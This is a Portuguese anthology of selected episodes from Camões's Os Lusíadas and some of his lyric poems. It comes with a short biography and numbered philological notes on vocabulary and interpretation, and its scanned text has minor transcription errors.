Antologia selecionada dos Lusíadas de Camões e explicações

Quem foi Camões

LUIS DE CAMÕES (Lisboa, 1524-1580) estudou na Universidade
de Coimbra e militou com distinção, perdendo um olho na campanha de
Ceuta. Um amor infeliz por D. Catarina de Ataíde certamente contribuir
para quatizar de dulcíssimo romantismo a vida deste poeta-soldado. Em
1553 embarcou para a Índia, exercendo em Macau um ofício de prove
dor, e de lá voltou a Portugal por Moçambique. Amargurados foram por
extrema penúria os últimos dias do inditoso mas afamado cantor de de Os
Lusíadas, ao qual, além deste poema, uma das grandes epopéias modernas
deve a pátria literatura muitas outras poesias líricas e as três comedi
dos Anfitriões, El-Rei Seleuco e Filodemo.

Quanto ao mérito literário da epopéia camoniana, por escusado tem
encarecê-la; ela é para a língua portuguesa o mesmo que para a italian
a obra do Dante; a pedra angular sobre que se elevou o trabalho arqui
tetônico de outras gerações.

Seleção de Poesia de Camões

Episódio de Inês de Castro

CXX

Estavas, linda Inês, posta em sossego,
De teus anos colhendo o doce fruito,
Naquele engano da alma, ledo e cego,
Que a fortuna não deixa durar muito;
Nos saudosos campos do Mondego,
De seus fermosos olhos nunca enxuito, (815)
Aos montes ensinando e às ervinhas
O nome que no peito escrito tinhas.

CXXI

De teu príncipe ali te respondiam
As lembranças, que n’aima lhe moravam,
Que sempre ante seus olhos te traziam,
Quando dos teus fermosos se apartavam,
De noite em doces sonhos, que mentiam,
De dia em pensamentos, que voavam;
E quanto, enfim, cuidava, e quanto via,
Eram tudo memórias de alegria. (816)

CXXII

De outras belas senhoras e princesas
Os desejados tálamos (817) enjeita;
Que tudo, enfim, tu, puro amor, desprezas,
Quando um gesto (818) suave te sujeita.
Vendo estas namoradas estranhezas
O velho pai sisudo, (819) que respeita
O murmurar do povo e a fantasia
Do filho, que casar-se não queria,

CXXIII

Tirar Inês ao mundo determina,
Por lhe tirar o filho, que tem preso,
Crendo c’o sangue só da morte indina
Matar do firme amor o fogo aceso.
Que furor (820) consentiu que a espada fina,
Que pôde sustentar o grande peso
Do furor mauro, fosse alevantada
Contra uma fraca dama delicada? (821)

CXXIV

Traziam-na os horríficos algozes
Ante o rei, já movido à piedade;
Mas o povo, com falsas e ferozes
Razões, à morte crua (822) o persuade.
Ela, com triste e piedosas vozes,
Saídas só da mágoa e saudade
Do seu príncipe e filhos, que deixava,
Que mais que a própria morte a magoava, (823)

 

CXXV

Pera o céu cristalino alevantando
Com lágrimas os olhos piedosos,
Os olhos, porque as mãos lhe estava atando
Um dos duros ministros rigorosos,
E depois nos meninos atentando,
Que tão queridos tinha, e tão mimosos,
Cuja orfandade como mãe temia,
Para o avô cruel assi dizia:

CXXVI

"Se já nas brutas feras, cuja mente
Natura fêz cruel de nascimento,
E nas aves agrestes, que somente
Nas rapinas aéreas têm o intento,
Com pequenas crianças viu a gente
Terem tão piedoso sentimento,
Como co’a mãe de Nino já mostraram
E c’os irmãos que Roma edificaram: (824)

CXXVII

Ó tu, que tens de humano o gesto e o peito,
(Se de humano é matar uma donzela (825)
Fraca e sem força, só por ter sujeito
O coração a quem soube vencê-la)
A estas criancinhas tem respeito,
Pois o não tens à morte escura dela:
Mova-te a piedade sua e minha,
Pois te não move a culpa que não tinha. (826)

CXXVIII

E se, vencendo a maura resistência,
A morte sabes dar com fogo e ferro,
Sabe também dar vida com clemência
A quem para perdê-la não fêz erro; (827)
Mas, se to assi merece essa inocência,
Põe-me em perpétuo e mísero desterro,
Na Cítia fria, ou lá na Líbia ardente,
Onde em lágrimas viva eternamente.

CXXIX

Põe-me onde se use toda a feridade,
Entre leões e tigres, e verei
Se neles achar posso piedade,
Que entre peitos humanos não achei.
Ali c’o amor intrínseco, e vontade (828)
Naquele por quem mouro, (829) criarei
Estas relíquias suas, que aqui viste,
Que (830) refrigério sejam da mãe triste".

CXXX

Queria perdoar-lhe o rei benino,
Movido das palavras, que o magoam;
Mas o pertinaz povo, e seu destino,
(Que desta sorte o quis) lhe não perdoam.
Arrancam das espadas de aço fino
Os que por bom tal feito ali apregoam.
Contra uma dama, ó peitos carniceiros,
Feros vos amostrais, e cavaleiros? (831)

 

CXXXI

Qual contra a linda moça Policena, (832)
Consolação extrema da mãe velha,
Porque a sombra de Aquiles a condena,
Co ferro o duro Pirro se aparelha;
Mas ela os olhos, com que o ar serena
(Bem como paciente e mansa ovelha)
Na mísera mãe postos, que endoudece,
Ao duro sacrifício se oferece:

CXXXII

Tais contra Inês os brutos matadores,
No colo de alabastro, que sustinha
As obras com que Amor matou de amores
Aquele que despois a fêz rainha,
As espadas banhando e as brancas flores, (833)
Que ela dos olhos seus regadas tinha, (834)
Se encarniçavam, férvidos e irosos,
No futuro castigo não cuidosos.

CXXXIII

Bem puderas, ó sol, da vista destes
Teus raios apartar aquele dia,
Como da seva mesa (835) de Tiestes,
Quando os filhos por mão de Atreu comia!
Vós, ó côncavos vales, que pudestes
A voz extrema ouvir da boca fria,
O nome do seu Pedro, que lhe ouvistes,
Per muito grande espaço (836) repetistes!

CXXXIV

Assi como a bonina, que cortada
Antes do tempo foi, cândida e bela,
Sendo das mãos lascivas (837) maltratada
Da menina que a trouxe na capela,
O cheiro traz perdido e a côr murchada:
Tal está morta a pálida donzela,
Secas do rosto as rosas, e perdida
A branca e viva côr, c’oa doce vida.

CXXXV

As filhas do Mondego a morte escura (838)
Longo tempo chorando memoraram:
E, por memória eterna, em fonte pura,
As lágrimas choradas transformaram;
O nome lhe puseram, que inda dura,
Dos amores de Inês, que ali passaram.
Vede que fresca fonte rega as flores,
Que lágrimas são a água, e o nome amores!

(Os Lusíadas — Canto III).

Tromba Marinha

XVII

Os casos vi, que os rudos marinheiros,
Que têm por mestra a longa experiência,
Contam por certos sempre, e verdadeiros
Julgando as coisas só pela aparência:

E os que têm juízos mais inteiros,
Que só por puro engenho e por ciência
Têm do mundo os segredos escondidos,
Julgam por falsos, ou mal entendidos.

XVIIÍ

Vi, claramente visto, o lume vivo, (839)
Que a marítima gente tem por santo
Em tempo de tormenta e vento esquivo,
De tempestade escura, e triste pranto.
Não menos foi a todos excessivo
Milagre, e cousa, certa, (840) de alto espanto,
Ver as nuvens do mar, com largo cano,
Sorver as altas águas do Oceano.

XIX

Eu o vi certamente (e não presumo
Que a vista me enganava) levantar-se
No ar um vaporzinho e sutil fumo,
E do vento trazido rodear-se: (841)
Daqui levado (842) um cano ao polo sumo
Se via, tão delgado que enxergar-se
Dos olhos (843) facilmente não podia:
Da matéria das nuvens parecia.

XX

Ia-se pouco e pouco acrescentando,
E mais que um largo mastro se engrossava;
Aqui se estreita, aqui se alarga, quando
Os golpes grandes de água em si chupava; (844)

Estava-se co’as ondas ondeando,
Em cima dele üa nuvem se espessava,
Fazendo-se maior, mais carregada
Co cargo grande d’água em si tomada.

XXI

Qual roxa sanguessuga se veria
Nos beiços da alimária (que imprudente
Bebendo a recolheu na fonte fria)
Fartar co sangue alheio a sede ardente;
Chupando mais e mais se engrossa e cria;
Ali se enche e se alarga grandemente:
Tal a grande coluna, enchendo, aumenta,
A si e a nuvem negra, que sustenta.

XXII

Mas, depois que de todo se fartou,
O pé, que tem no mar, a si recolhe,
E pelo céu chovendo, enfim, voou,
Porque co’a água a jacente água molhe;
Às ondas torna as ondas que tomou;
Mas o sabor do sal lhe tira e tolhe.
Vejam agora os sábios na escritura
Que segredos são estes dc Natura!

(Os Lusíadas Canto V).

Episódio do Adamastor

XXXVII

Porém já cinco sóis eram passados
Que dali nos partíramos, cortando
Os mares nunca d’outrem navegados,
Prosperamente os ventos assoprando;

Quando, uma noite, estando descuidados (845)
Na cortadora proa vigiando,
Uma nuvem, que os ares escurece,
Sobre nossas cabeças aparece.

XXXVIII

Tão temerosa vinha e carregada
Que pôs nos corações um grande medo;
Bramindo o negro mar de longe brada,
Como se desse em vão nalgum rochedo.
Õ Potestade, disse, sublimada!
Que ameaço divino, ou que segredo,
Este clima e este mar nos apresenta,
Que mor coisa parece que tormenta?

XXXIX

Não acabava, quando uma figura
Se nos mostra no ar, robusta e válida,
De disforme e grandíssima estatura,
O rosto carregado, a barba esquálida,
Os olhos encovados, e a postura
Medonha e má, e a côr terrena e pálida,
Cheios de terra e crespos os cabelos,
A boca negra, os dentes amarelos. (846)

XL

Tão grande era de membros que bem posso
Certificar-te que este era o segundo
De Rodes estranhíssimo colosso,
Que um dos sete milagres foi do mundo; (847)
Cum tom de voz nos fala, horrendo e grosso,
Que pareceu sair do mar profundo:
Arrepiam-se as carnes e o cabelo
A mi e a todos, só de ouvi-lo e vê-lo.

 

XLI

E disse: "Ó gente ousada mais que quantas
No mundo cometeram grandes cousas:
Tu, que por guerras cruas, tais e tantas,
E por trabalhos vãos nunca repousas:
Pois os vedados términos quebrantas, (848)
E navegar meus longos mares ousas, (849)
Que eu tanto tempo há já que guardo e tenho,
Nunca arados de estranho ou próprio lenho:

XLII

Pois vens ver os segredos escondidos
Da natureza e do úmido elemento,
A nenhum grande humano concedidos
De nobre ou de imortal merecimento:
Ouve os danos de mi, que apercebidos
Estão a teu sobejo atrevimento
Per todo o largo mar e pola terra
Que inda hás de sojugar com dura guerra.

XLIII

Sabe que quantas naus esta viagem,
Que tu fazes, fizeram de atrevidas,
Inimiga terão esta paragem
Com ventos e tormentas desmedidas:
E na primeira armada, que passagem
Fizer por estas ondas insofridas, (850)
Eu farei de improviso tal castigo,
Que seja mor o dano que o perigo. (851)

 

XLIV

Aqui espero tomar, se não me engano, (852)
De quem me descobriu (853) suma vingança:
E não se acabará só nisto o dano
De vossa pertinace confiança;
Antes em vossas naus vereis cada ano
(Se é verdade o que meu juízo alcança)
Naufrágios, perdições de toda sorte,
Que o menor mal de todos seja a morte.

XLV

E do primeiro ilustre (854) que a ventura
Como fama alta fizer tocar os céus,
Serei eterna e nova sepultura,
Por juízos incógnitos de Deus:
Aqui porá da turca armada dura
Os soberbos e prósperos troféus;
Comigo de seus danos o ameaça
A destruída Quíloa com Mombaça.

XLVI

Outro também virá de honrada fama,
Liberal, cavaleiro e namorado, (855)
E consigo trará, fermosa dama
Que Amor per grão mercê lhe terá dado:
Triste ventura e negro fado os chama
Neste terreno meu, que duro e irado
Os deixará dum cru naufrágio vivos,
Pera verem trabalhos excessivos.

 

XLVII

Verão morrer com fome os filhos caros,
Em tanto amor gerados e nascidos;
Verão os Cafres ásperos e avaros
Tirar à linda dama seus vestidos:
Os cristalinos membros e preclaros
À calma, ao frio, ao ar verão despidos,
Despois de ter pisada longamente
Cos delicados pés a areia ardente.

XLVIII

E verão mais os olhos que escaparem
De tanto mal, de tanta desventura,
Os dois amantes míseros ficarem
Na férvida e implacábil (856) espessura;
Ali despois que as pedras abrandarem
Com lágrimas de dor, de mágoa pura,
Abraçados, as almas soltarão
Da fermosa e misérrima prisão".

XLIX

Mas ia per diante o monstro horrendo
Dizendo nossos fados, (857) quando alçado
Lhe disse eu: "Quem és tu? que este estupendo
Corpo, certo, me tem maravilhado".
A boca e os olhos negros retorcendo,
E dando um espantoso e grande brado
Me respondeu com voz pesada e amara,
Como quem da pergunta lhe pesara: (858)

L

Eu sou aquele oculto e grande cabo,
A quem chamais vós outros Tormentório,
Que nunca a Ptolomeu, Pompônio, Estrano,
Plínio, e quantos passaram, fui notório:
Aqui toda a africana costa acabo
Neste meu nunca visto promontório,
Que pera o polo antártico se estende,
A quem vossa ousadia tanto ofende.

LI

Fui dos filhos aspérrimos da terra,
Qual Encélado, Egeu e o Centimano; (859)
Chamei-me Adamastor, e fui na guerra
Contra o que vibra os raios de Vulcano:
Não que pusesse serra sobre serra,
Mas, conquistando as ondas do Oceano,
Fui capitão do mar, por onde andava
A armada de Netuno, que eu buscava.

LX

Assi contava, e cum medonho choro
Súbito de ante os olhos se apartou;
Desfêz-se a nuvem negra, e c’um sonoro
Bramido muito longe o mar soou.
Eu, levantando as mãos ao santo coro
Dos Anjos, que tão longe nos guiou,
A Deus pedi que removesse os duros
Casos que Adamastor contou futuros.

(Os Lusíadas – Canto V).

Os doze de Inglaterra

XLIII

No tempo que (860) do reino a rédea leve
João, filho de Pedro, moderava,
Depois que sossegado e livre o teve
Do vizinho poder que o molestava,
Lá na grande Inglaterra, que da neve
Boreal sempre abunda, semeava
A fera Erinis dura e má cizânia,
Que lustre fosse à nossa Lusitânia.

XLIV

Entre as damas gentis da corte inglesa
E nobres cortesãos, acaso um dia
Se levantou discórdia em ira acesa;
Ou foi opinião, ou foi porfia.
Os cortesãos, a quem tão pouco pesa
Soltar palavras graves de ousadia,
Dizem que provarão que honras e famas
Em tais damas não há pera ser damas;

XLV

E que se houver alguém com lança e espada
Que queira sustentar a parte sua,
Que (861) eles em campo raso ou estacada
Lhe darão feia infâmia, ou morte crua.
A feminil fraqueza, pouco usada,
Ou nunca, a opróbrios tais, vendo-se nua (862)
De forças naturais convenientes,
Socorro pede a amigos e parentes.

XLVI

Mas, como fossem grandes e possantes
No reino os inimigos, não se atrevem
Nem parentes, nem férvidos amantes,
A sustentar (863) as damas, como devem;

Com lágrimas fermosas e bastantes
A fazer que em socorro os deuses levem
De todo o céu, por rostos de alabastro, (864)
Se vão todas ao duque de Alencastro.

XLVII

Era este Inglês potente, e militara
Cos Portugueses já contra Castela,
Onde as forças magnânimas provara
Dos companheiros e benigna estrela:
Não menos nesta terra exp’rimentara
Namorados afeitos, (865) quando nela
A filha viu, que tanto o peito doma
Do forte rei que por mulher a toma.

XLVIII

Este, que socorrer-lhe (866) não queria,
Por não causar discórdias intestinas,
Lhe diz: "Quando o direito pretendia
Do reino lá das terras iberinas,
Nos Lusitanos vi tanta ousadia,
Tanto primor e partes (867) tão divinas
Que eles sós poderiam, se não erro,
Sustentar vossa parte a fogo e ferro.

XLIX

E se, agravadas damas, sois servidas,
Por vós lhe mandarei embaixadores,
Que, por cartas discretas e polidas
De vosso agravo os façam sabedores;

 

Também por vossa parte encarecidas
Com palavras de afagos e de amores
Lhe sejam vossas lágrimas, que eu creio
Que ali tereis socorro e forte esteio".

L

Destarte as aconselha o duque experto,
E logo lhe (868) nomeia doze fortes:
E porque cada dama um tenha certo,
Lhe manda que sobre eles lancem sortes;
Que elas só doze são: e, descoberto
Qual a qual tem caído das consortes (869)
Cada uma escreve ao seu por vários modos,
E todas a seu rei, e o duque a todos.

LI

Já chega a Portugal o mensageiro;
Toda a corte alvoroça a novidade:
Quisera o rei sublime ser primeiro,
Mas não lho sofre (870) a régia majestade.
Qualquer dos cortesãos aventureiros
Deseja ser com férvida vontade; (871)
E só fica por bem-aventurado,
Quem já vem pelo duque nomeado.

LII

Lá na leal cidade, donde teve
Origem (como é fama) o nome eterno
De Portugal, armar madeiro leve
Manda o que tem o leme do governo.
Apercebem-se (872) os doze em tempo breve
D’armas e roupas de uso mais moderno,
De elmos, cimeiras, letras e primores,
Cavalos e concertos de mil cores.

 

LIII

Já do seu rei tomado têm licença,
Para partir do Douro celebrado,
Aqueles que escolhidos por sentença
Foram do duque inglês exp’rimentado. (873)
Não há na companhia diferença
De cavaleiro destro, ou esforçado;
Mas um só, que Magriço se dizia, (874)
Destarte fala à forte companhia:

LIV

"Fortíssimos consócios, eu desejo
Há muito já de andar terras estranhas,
Por ver mais águas que as do Douro e Tejo,
Várias gentes e leis, e várias manhas: (875)
Agora que aparelho certo vejo
(Pois que do mundo as cousas são tamanhas)
Quero, se me deixais, ir só por terra,
Porque eu serei convosco em Inglaterra.

LV

E quando caso fôr que eu, impedido
Por quem das cousas é última linha, (876)
Não fôr (877) convosco ao prazo instituído,
Pouca falta vos faz a falta minha.
Todos por mim fareis o que é devido;
Mas, se a verdade o esp’rito me adivinha,
Rios, montes, fortuna, ou sua inveja
Não farão que eu convosco lá não seja".

LVI

Assi diz; e, abraçados os amigos,
E tomada licença, enfim se parte:

Passa Lião, Castela, vendo antigos
Lugares, que ganhara o pátrio Marte, (878)
Navarra, cos altíssimos perigos
Do Pireneu, que Espanha e Gália parte.
Vistas, enfim, de França as cousas grandes,
No grande empório foi parar de Frandes.

LVII

Ali chegado, ou fosse caso ou manha, (879)
Sem parar se deteve muitos dias;
Mas dos onze a ilustríssima companha
Cortam do mar do Norte as ondas frias.
Chegados de Inglaterra à costa estranha, (880)
Pera Londres já fazem todos vias:
Do duque são com festa agasalhados,
E das damas servidos e amimados. (881)

LVIII

Chega-se o prazo e dia assinalado
De entrar em campo já cos doze Ingleses,
Que pelo rei já tinham segurado: (882)
Armam-se d’elmos, grevas e de arneses.
Já as damas têm por si fulgente e armado
O Mavorte feroz dos Portugueses:
Vestem-se elas de cores e de sedas,
De ouro e de jóias mil, ricas e ledas.

LIX

Mas aquela a quem fora em sorte dado
Magriço, que não vinha, com tristeza
Se veste, por não ter quem nomeado
Seja seu cavaleiro nesta empresa;

Bem que os onze apregoam que acabado
Será o negócio assi na corte inglesa,
Que as damas vencedoras se conheçam,
Posto que dois e três dos seus faleçam.

LX

Já num sublime e público teatro
Se assenta o rei inglês com toda a corte:
Estavam três e três, e quatro e quatro,
Bem como a cada qual coubera em sorte.
Não são vistos do sol, do Tejo ao Batro,
De força, esforço e d’ânimo mais forte
Outros doze sair, como os Ingleses
No campo contra os onze Portugueses.

LXI

Mastigam os cavalos, escumando,
Os áureos freios com feroz semblante;
Estava o sol nas armas rutilando
Como em cristal, ou rígido diamante;
Mas enverga-se num e noutro bando
Partido desigual e dissonante,
Dos onze contra doze: quando a gente
Começa a alvoroçar-se geralmente.

LXII

Viram (883) todos o rosto aonde havia,
A causa principal do reboliço;
Eis entra um cavaleiro que trazia
Armas, cavalo ao bélico serviço:
Ao rei e às damas fala; e logo se ia
Pera os onze, que este era o grão Magriço.
Abraça os companheiros como amigos,
A quem não falta certo nos perigos.

 

LXIII

A dama, como ouviu que este era aquele
Que vinha a defender seu nome e fama,
Se alegra e veste ali do animal de Hele, (884)
Que a gente bruta mais que virtude ama.
Já dão sinal, e o som da tuba impele
Os belicosos ânimos, que inflama;
Picam d’esporas, largam rédeas logo,
Abaixam lanças, (885) fere a terra fogo.

LXIV

Dos cavalos o estrépito parece
Que faz que o chão debaixo todo treme; (886)
O coração no peito, que estremece,
De quem os olha, se alvoroça e teme. (887)
Qual do cavalo voa, que não desce; (888)
Qual, co cavalo em terra dando, geme;
Qual vermelhas as armas faz de brancas;
Qual cos penachos do elmo açouta as ancas. (889)

LXV

Algum dali tomou perpétuo sono
E fêz da vida ao fim breve intervalo;
Correndo algum cavalo vai sem dono,
E noutra parte o dono sem cavalo.
Cai a soberba inglesa, do seu trono,
Que dois ou três já fora vão do valo. (890)
Os que de espada vêm fazer batalha,
Mais acham já que arnês, escudo e malha. (891)

 

LXVI

Gastar palavras em contar extremos
De golpes feros, cruas estocadas,
É desses gastadores, que sabemos,
Maus do tempo com fábulas sonhadas;
Basta por fim do caso, que entendemos,
Que com finezas altas e afamadas
Cos nossos fica a palma da vitória,
E as damas vencedoras e com glória.

LXVII

Recolhe o duque os doze vencedores
Nos seus paços com festas e alegria;
Cozinheiros ocupa e caçadores
Das damas a fermosa companhia,
Que querem dar aos seus libertadores
Banquetes mil cada hora e cada dia,
Enquanto se detêm em Inglaterra,
Até tornar à doce e cara terra.

(Os Lusíadas – Canto VI).

Epílogo

CXLV

No’ mais, Musa, no’ mais, (892) que a lira tenho
Destemperada, (893) e a voz enrouquecida,
E não do canto, mas de ver que venho
Cantar a gente surda e endurecida.
O favor com que mais se acende o engenho
Não no dá (894) a pátria, não, que está metida
No gosto da cubica e na rudeza
Duma austera, apagada e vil tristeza. (895)

 

CXLVI

E não sei por que influxo de destino
Não tem um ledo (896) orgulho e geral gosto.
Que os ânimos levanta de contino,
A ter pera trabalhos ledo o rosto.
Por isso vós, ó rei, que por divino
Conselho estais no régio sólio posto,
Olhai que sois (e vede as outras gentes)
Senhor só de vassalos excelentes!

CXLVII

Olhai que ledos vão por várias vias,
Quais rompentes leões e bravos touros,
Dando os corpos a fomes e vigias,
A ferro, a fogo, a setas e pelouros,
A quentes regiões, a plagas frias,
A golpes de Idolatras (897) e de Mouros
A perigos incógnitos do mundo,
A naufrágios, a peixes, ao profundo, (898)

CXLVIII

Por vos servir a tudo aparelhados,
De vós tão longe, sempre obedientes
A quaisquer vossos ásperos mandados,
Sem dar resposta, prontos e contentes.
Só com saber que são de vós olhados,
Demônios infernais, negros e ardentes,
Cometerão convosco, e não duvido
Que vencedor vos façam, não vencido.

CXLIX

Favorecei-os logo e alegrai-os,
Com a presença e lêda humanidade; (899)

 

De rigorosas leis desalivai-os, (900)
Que assi se abre o caminho à santidade;
Os mais exp’rimentados levantai-os,
Se com a experiência têm bondade,
Pera vosso conselho; pois que sabem
O como, o quando, e onde as cousas cabem.

CL

Todos favorecei em seus ofícios,
Segundo têm das vidas o talento;
Tenham Religiosos — exercícios
De rogarem por vosso regimento,
Com jejuns, disciplinas, pelos vícios
Comuns; toda ambição terão por vento; (901)
Que o bom Religioso verdadeiro
Glória vã não pretende nem dinheiro.

CLI

Os cavaleiros tende em muita estima,
Pois com seu sangue intrépido e fervente
Estendem não somente a lei de cima,
Mas inda vosso império preeminente;
Pois aqueles, que a tão remoto clima
Vos vão servir com passo diligente,
Dois inimigos vencem: uns os vivos,
E (902) (o que é mais) os trabalhos excessivos.

CLII

Fazei, senhor, que nunca os admirados
Alemães, Galos, Ítalos e Ingleses
Possam dizer que são pera mandados, (903)
Mais que pera mandar, os Portugueses.

Tomai conselhos só de exp’rimentados,
Que viram largos anos, largos meses:
Que, posto que em cientes muito cabe,
Mais em particular o experto sabe.

CLIII

De Formião, filósofo elegante,
Vereis como Aníbal escarnecia, (904)
Quando das artes bélicas diante
Dele com larga voz tratava e lia. (905)
A disciplina militar prestante
Não se aprende, senhor, na fantasia
Sonhando, imaginando ou estudando,
Senão vendo, tratando e pelejando.

CLIV

Mas eu, que falo, humilde, baixo e rudo,
De vós não conhecido, nem sonhado? (906)
Da boca dos pequenos sei, contudo,
Que o louvor sai às vezes acabado;
Nem me falta na vida honesto estudo
Com longa experiência misturado,
Nem engenho, que aqui vereis presente,
Cousas que juntas se acham raramente.

CLV

Para servir-vos, braço às armas feito,
Para cantar-vos, mente às musas dada;

Só me falece ser a vós aceito, (907)
De quem virtude deve ser prezada:
Se me isto o céu concede, e o vosso peito
Digna empresa tomar de ser cantada,
—- Como a pressaga mente vaticina,
Olhando a vossa inclinação divina —

CLVI

Ou fazendo que, mais que a de Medusa,
A vista vossa tema o monte Atlante,
Ou rompendo nos campos de Ampelusa
Os muros de Marrocos e Trudante; (908)
A minha já estimada e leda Musa
Fico (909) que em todo o mundo de vós cante,
De sorte que Alexandra em vós se veja,
Sem à dita de Aquiles ter inveja. (910)

(Os Lusíadas – Canto X).

Soneto 19

Alma minha gentil, que te partiste
Tão cedo desta vida descontente,
Repousa lá no céu eternamente,
E viva eu cá na terra sempre triste.

Se lá no assento etéreo, onde subiste,
Memória desta vida se consente,
Não te esqueças daquele amor ardente,
Que já nos olhos meus tão puro viste.

E se vires que pode merecer-te
Alguma cousa a dor, que me ficou,
Da mágoa, sem remédio, de perder-te;

Roga a Deus, que teus anos encurtou,
Que tão cedo daqui me leve a ver-te,
Quão cedo de meus olhos te levou.

Soneto 29

Sete anos de pastor Jacó servia
Labão, pai de Raquel, serrana bela;
Mas não servia ao pai, servia a ela,
Que a ela só por prêmio pretendia. (911)

Os dias na esperança de um só dia
Passava, contentando-se com vê-la:
Porém o pai, usando de cautela,
Em lugar de Raquel lhe deu a Lia.

Vendo o triste pastor que com enganos
Assi lhe era negada a sua pastora,
Como se a não tivera merecida; (912)

Começou a servir outros sete anos,
Dizendo: Mais servira, se não fora
Para tão longo amor tão curta a vida.

(Obras, tomo II, da edição do Visconde de Jurumenha) .

Ode 9

Fogem as neves frias
Dos altos montes, quando reverdecem

As árvores sombrias;
As verdes ervas crescem,
E o prado ameno de mil cores tecem.

 

Zéfiro brando aspira;
Suas setas amor afia agora;
Progne triste, suspira,

E Filomela chora:
O céu da fresca terra se namora.

Já a linda Citeréia
Vem, do coro das ninfas rodeada:
A branca Pasitéia

Despida e delicada,
Com as duas irmãs acompanhada.
Enquanto as oficinas
Dos Ciclopas Vulcano está queimando,

Vão colhendo boninas
As ninfas, e cantando,

A terra co ligeiro pé tocando.

Desce do áspero monte
Diana, já cansada da espessura,
Buscando a clara fonte,
Onde, por sorte dura,
Perdeu Acteão a natural figura.

Assi se vai passando
A verde primavera e o seco estio;
O outono vem entrando
E logo o inverno frio,
Que também passará por certo fio.

Ir-se-á embranquecendo
Com a frígida neve o seco monte;
E Júpiter chovendo
Turbará a clara fonte;
Temerá o marinheiro a Orionte. (913)

Porque, enfim, tudo passa;
Não sabe o tempo ter firmeza em nada;
E a nossa vida escassa
Foge tão apressada
Que, quando se começa, é acabada.

(Idem).

Vocabulário e Comentários aos poemas de Camões

  • (815) As vozes latinas fructu, exsuctu (do v. suggere, sugar, tornar seco) e multu, vocalizaram o c e o I em i, dando fruito e enxuito como formas anteriores de fruto e enxuto; a voz muito persistiu. É de notar, entretanto, que Camões, nessa est., escreveu fructo sem a alteração do c, e enxuto com a redução do ditongo. Epifânio Dias atribuiu o fato a distração do poeta; J. Maria Rodrigues aceita-o como rimas imperfeitas, de que há outras amostras (poucas, aliás) no poema (VII, 77: Mauritano, humano e venerando, que se emendou para soberano em algumas edições; X, 88: fazendo, horrendo e urbulento,substituído por metuendo; X, 128: molhados e escapados [os Cantos] e exe-
    cutado
    [o mando]; algumas edições põem o Canto por manter perfeita a rima.
  • (816) Eram tudo memórias de alegria. V. a n. 396.
  • (817) tálamo, do gr. thálamos, leito conjugal, aí casamento; epitalâmio, poesia nupcial.
  • (818) gesto, do lat. gestu-, movimento; com o movimento extensivo à fisionomia, assumiu o vocáb. o sentido de rosto entre os clássicos. Em Os Lusíadas cerca de trinta vezes usa Camões o termo gesto designando o rosto.
  • (819) sisudo, de siso, e este do lat. sensu-, Camões escreveu sesudo, mais consentâneo com o vocábulo *seso, que seria a forma natural, oriunda daquela. Viso é juízo.
  • (820) furor = loucura, delírio: sentido do lat. furor.
  • (821) delicado e delgado, ambos procedentes do lat. delicatu-: o primeiro, de formação erudita, comporta o sentido moral; o segundo, mais alterado, retém a significação física.
  • (822) morte crua = morte cruel, violenta.
  • (823) Que = O que (ou cousa que, fato que, sucesso que) mais que a própria morte a magoava.
  • (824) Semíramis, mãe de Nino; e Rómulo e Remo. Veja o comentário
    de Epifânio Dias, em Os Lusíadas, 2.a ed., 1.° tomo, p. 201.
  • (825) donzela —explica Sales Lencastre — porque se conservava esse nome às damas que haviam servido de aia ou donzela às senhoras nobres, como sucedia com Inês.
  • (826) tinha por tenho, por amor da rima.
  • (827) fêz erro = cometeu erro. O v. fazer é talvez o que mais produz expressões de molde francês; mas é fato verificado que muitas já se entranharam na língua desde os inícios, c outras se vão nela acomodando. São duas
    ou três centenas de locuções a cargo desse verbo, um dos mais prestantes do idioma pátrio.
  • (828) vontade = coração, benquerença, dedicação.
  • (829) mouro= morro. A forma moiro ou mouro (da primeira pessoa — morio(t) do v. lat. mori) foi usada pelos quinhentistas. Conjugava-se o pres. do indic: moiro ou mouro, morres, morre, morremos, morreis, morrem. O pres. do subj. pela primeira pessoa: moira ou moura, mouras, moura, mouramos, mourais, mouram. Morais averba o are. mourir (fr. mourir, esp. morir, ital. moriré). Da raiz de mori há lambem moribundo e esmorecer. Ainda em Camões se lê: "Mas moura, enfim [o povo lusitano] nas mãos das brutas gentes" (Lus., II, 41); por quem mouro =por causa de quem vou morrer.
  • (830) que = para que.
  • (831) e cavaleiros?interrogação de espanto e indignação: e [sois] cavaleiros?!
  • (832) Policena — filha de Príamo, rei de Tróia e noiva do herói grego Aquiles. Este apareceu, depois de morto, a seu filho Pirro, a quem pediu matasse a moça, o que fêz.
  • (833) as obras e as brancas flores — são expressões cuja interpretação tem posto em divergência os comentadores de Os Lusíadas. Obras são naturalmente o conjunto: — a boca, as faces, os olhos,
    o mento, a cabeleira — da formosa cabeça, a cujos encantos se rendeu o coração do príncipe; e brancas flores são, segundo alguns comentadores, as faces descoradas de Inês, regadas de lágrimas e, neste caso, obras e brancas flores são complemento do v. suster e nada têm gramaticalmente com o v. banhar: Os matadores se encarniçavam banhando as espadas no colo de alabastro); segundo
    outros, as brancas flores são os seios, para onde teriam descido as lágrimas e que ficam, no atentado, banhados peío sangue em que os assassinos banharam as espadas (e, neste caso, brancas flores se ligam, como as espadas, ao v.banhar). Leiam-se e confrontem-se: Camões médico, de Afrânio Peixoto, Aillaud e Bertrand, 2.a ed., pp. 57-68), e A linda Inês, de M. Said Ali, na Rev. de Filol. e de Hist., tomo II, pp. 5-16).
  • (834) regadas tinha: part. pass. ativo, flexionado para concordar com o complemento direto. (Hoje, na voz ativa, o part. pass. fica inalterado). Veja no poema: "íem passados tão ásperos perigos"
    (I, 29); "E do Jordão a areia tinha vista" (III, 27); "as armas… / que a ferrugem da paz gastadas tinha" (IV, 22); "depois de ter pisada… a areia ardente" (V, 47).
  • (835) seva mesa — mesa horrível, cruel, desumana. Saevae mensae — festins abomináveis (de carne humana).
  • (836) espaço_ =: tempo.
  • (837) lascivas = irrequietas, alegres, brincalhonas, travessas: com esse sentido
    é latinismo.
  • (838) morte escura = horrível, cruenta.
  • (839) o lume vivo — o fogo de Santelmo ou, como também ]he chamavam,corpo santo. Morais o designa "fogo elétrico, que nas tormentas aparece nos mastros e outras partes do navio".
  • (840) certo = certamente; como adiante, no Episódio do Adamastor, estrofe 49, quarto verso.
  • (841) rodear-se = andar à roda, mover-se em torno de si mesmo, espiralar-se.
  • (842) levado — levantado. V. as nn. 51 c 490.
  • (843) enxergar-se dos olhos facilmente não podia = não podia ser divisado facilmente pelos olhos.
  • (844) golpes = porções, quantidades, bocados, goles, tragos. V. a n. 83.
